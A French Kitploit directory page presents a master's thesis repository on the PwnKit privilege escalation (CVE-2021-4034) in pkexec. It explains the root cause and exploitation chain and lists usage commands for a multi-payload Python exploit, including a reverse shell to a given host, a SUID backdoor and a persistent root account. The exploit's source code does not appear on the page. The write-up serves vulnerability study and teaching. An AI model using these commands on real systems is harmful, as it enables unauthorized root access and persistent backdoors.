Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-4034 — Recherche de thèse de master sur CVE-2021-4034 (PwnKit) escalade de privilèges locale. Exploit Python à plusieurs charges avec 7 modes incluant shell interactif, backdoor SUID, reverse shell, et création d'utilisateur root. Inclut analyse de cause racine et documentation de la chaîne d'exploitation. | Kitploit
Outils/GitHubGitHub/devianntsec/cve-2021-4034
Escalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Recherche de thèse de master sur CVE-2021-4034 (PwnKit) escalade de privilèges locale. Exploit Python à plusieurs charges avec 7 modes incluant shell interactif, backdoor SUID, reverse shell, et création d'utilisateur root. Inclut analyse de cause racine et documentation de la chaîne d'exploitation.

Exploitation de Binaires
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Voir le dépôt
138il y a 5 moisPas encore vérifié
Partager

CVE-2021-4034 — PwnKit Escalade de privilèges locale · Recherche de Mémoire de Master

Platform Language License: MIT Research CVSS

Vulnérabilité de corruption mémoire dans l'utilitaire pkexec de polkit
Escalade de privilèges locale → root via écriture hors limites
Affecté : polkit 0.105-31 et versions antérieures · Correctif : polkit 0.105-33 (janvier 2022)


Shell racine interactif obtenu via CVE-2021-4034 – PwnKit

Description

Ce dépôt contient mes recherches de Mémoire de Master sur CVE-2021-4034, une vulnérabilité de Escalade de privilèges locale de sévérité élevée (CVSS 7.8) dans l'utilitaire pkexec de polkit, communément appelée PwnKit.

La vulnérabilité provient d'une écriture hors limites dans la logique de traitement des arguments de pkexec. Lorsque pkexec est exécuté avec un argv vide ou manipulé, il lit et écrit au‑delà des bornes du tableau argv dans le tableau envp, ce qui permet à un utilisateur local non privilégié d'injecter des variables d'environnement malveillantes qui sont ensuite chargées comme bibliothèque partagée, exécutant du code arbitraire avec les privilèges root.

Ma contribution

AspectDescription

Structure du dépôt

root@kitploit:~
CVE-2021-4034/
├── README.md                        # Ce fichier
├── LICENSE                          # Licence MIT
│
├── exploit/
│   └── pwnkit.py                    # Exploit avancé avec charges utiles multiples
│
└── docs/
    ├── screenshots/                 # Démonstrations d'exploitation
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Analyse de la cause racine de la vulnérabilité
        ├── 02-exploitation-chain.md # Décomposition de la chaîne d'exploitation
        └── 03-timeline.md           # Chronologie de la CVE

Démarrage rapide

Prérequis

  • Système Linux avec polkit vulnérable (pkexec --version affiche 0.105 ou antérieur)
  • Compilateur GCC (apt install gcc)
  • Python 3.6+
  • Compte utilisateur standard (root non requis)
  • VM isolée recommandée pour les tests

Utilisation

root@kitploit:~
# Shell racine interactif (par défaut)
python3 exploit/pwnkit.py -p shell

# Vérifier le contexte d'exécution
python3 exploit/pwnkit.py -p whoami

# Exécuter une commande personnalisée en tant que root
python3 exploit/pwnkit.py -p custom -c "id"

# Créer une porte dérobée SUID dans /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Ajouter un utilisateur root persistant
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Shell inverse
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Référence des charges utiles


Aperçu technique

Cause racine de la vulnérabilité

pkexec traite son propre argv pour localiser le programme à exécuter. Lorsqu'il est invoqué avec argc == 0 (vecteur d'arguments vide), la vérification des bornes sur argv échoue silencieusement. La lecture hors limites qui s'ensuit traite envp[0] comme argv[1], et l'écriture hors limites dans envp permet à un attaquant de remplacer une variable d'environnement par un chemin manipulé. Lorsque pkexec appelle ensuite g_printerr(), il charge GCONV_PATH depuis l'environnement désormais contrôlé par l'attaquant, chargeant une bibliothèque partagée fournie par l'attaquant avec les privilèges root.

root@kitploit:~
argc == 0  →  argv[1] lit envp[0]
             argv[1] = "GCONV_PATH=."  (écrit dans envp)
             pkexec charge ./pwnkit.so  (bibliothèque partagée contrôlée par l'attaquant)
             gconv_init() s'exécute en tant que root

Chaîne d'exploitation

root@kitploit:~
1. Fabriquer argv = { NULL }  →  argc = 0, déclenche un accès hors limites
2. Définir envp[0] = "pwnkit.so:."
3. Définir envp[1] = "PATH=GCONV_PATH=."
4. pkexec écrit hors limites "pwnkit.so:." dans envp[0] comme s'il s'agissait de argv[1]
5. pkexec résout GCONV_PATH=. et charge gconv-modules
6. gconv-modules associe le jeu de caractères "PWNKIT" à pwnkit.so
7. pwnkit.so:gconv_init() est appelée avec les privilèges root
8. La charge utile s'exécute (shell / porte dérobée / shell inverse / etc.)

Détails techniques clés


Démonstrations

Shell racine interactif

Shell interactif

Vérification d'identité

Charge utile ID

Vérification Whoami

Charge utile Whoami

Porte dérobée SUID

Charge utile Porte dérobée

Ajout d'utilisateur root

Ajout d'utilisateur root

Shell inverse

Shell inverse

Commande personnalisée

Charge utile personnalisée


Tests empiriques

Tous les tests ont été réalisés sur une VM VirtualBox isolée exécutant Ubuntu 20.04 LTS avec polkit 0.105‑26 (vulnérable), sans exposition réseau.


Documentation technique

DocumentDescription
Analyse de la cause racineÉcriture hors limites dans le traitement des arguments de pkexec

Contexte académique

Cette recherche fait partie de mon Mémoire de Master en Cybersécurité (UCAM — Campus Internacional de Ciberseguridad), analysant des vulnérabilités N‑Day dans plusieurs environnements.

Cette CVE représente le vecteur d'escalade de privilèges locale Linux au sein du mémoire, démontrant :

  • Les vulnérabilités de sécurité mémoire dans les binaires SUID
  • L'exploitation par écriture hors limites via la manipulation des variables d'environnement
  • L'injection de bibliothèque partagée via l'infrastructure iconv de glibc
  • La conception d'un framework multi‑charge utile de post‑exploitation

Mots‑clés : LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


Auteur

Annais Molina (devianntsec) — Étudiante en Master en Cybersécurité

GitHub LinkedIn Email


Remerciements

  • Qualys Research Team — Découverte originale et divulgation responsable
  • arthepsy — Référence précoce de preuve de concept
  • berdav — Implémentation de référence du PoC public

Licence

Licence MIT — voir LICENSE


Avertissement légal

Ce dépôt est fourni à des fins éducatives et de recherche en sécurité uniquement, dans le cadre d'un Mémoire de Master académique. Tous les tests ont été effectués sur des machines virtuelles isolées sans exposition réseau. Utilisez‑le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. Toute utilisation non autorisée contre des systèmes est illégale et peut entraîner des poursuites pénales.

© 2026 Annais Molina · Mémoire de Master en Cybersécurité
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
Télécharger l’outil
Exploit multi‑charge utileWrapper Python avec 6 modes de charge utile incluant shell, id, porte dérobée et shell inverse
Configuration automatisée de l'environnementConstruction automatique de GCONV_PATH et configuration de gconv-modules
Modules post‑exploitationPorte dérobée SUID, création d'utilisateur root et exécution de commande personnalisée
Documentation académiqueAnalyse de la cause racine, chaîne d'exploitation et chronologie de la vulnérabilité
Charge utileDescriptionSortie
shellLance un /bin/sh interactif en tant que rootShell interactif
idÉcrit la sortie de id et whoami dans /tmp/pwnkit_id.txtFichier
whoamiÉcrit la vérification UID/eUID dans /tmp/pwnkit_root_testFichier
backdoor_suidCrée une copie SUID root de bash dans /tmp/.shPorte dérobée persistante
add_root_userAjoute un utilisateur personnalisé à /etc/passwdAccès persistant
reverse_shellSe connecte en retour à l'attaquant via PythonShell distant
customExécute n'importe quelle commande en tant que rootStdout / fichier
ComposantValeurNotes
Binaire vulnérable/usr/bin/pkexecSUID root
Condition de déclenchementargc == 0argv vide
Primitif d'écritureÉcriture hors limites dans envpVia argv[argc-1]
Mécanisme de chargementGCONV_PATH + gconv-modulesiconv standard de glibc
Contexte d'exécutiongconv_init() dans la bibliothèque partagéeS'exécute avec EUID 0
Versions affectéespolkit ≤ 0.105-31Toutes les principales distributions Linux
Charge utileRésultatNotes
shell✅ Shell root obtenuAccès interactif immédiat
id✅ uid=0(root) confirméSortie dans /tmp/pwnkit_id.txt
whoami✅ root confirméUID/eUID = 0
backdoor_suid✅ Bit SUID défini sur /tmp/.shPersistant après l'exploit
add_root_user✅ Utilisateur personnalisé crééSurvit au redémarrage
reverse_shell✅ Connexion établieShell inverse Python fonctionnel
custom✅ Exécution de commande arbitraireContexte root complet
Chaîne d'exploitation
Décomposition pas à pas de l'injection GCONV_PATH
Chronologie de la CVEDécouverte, divulgation et patch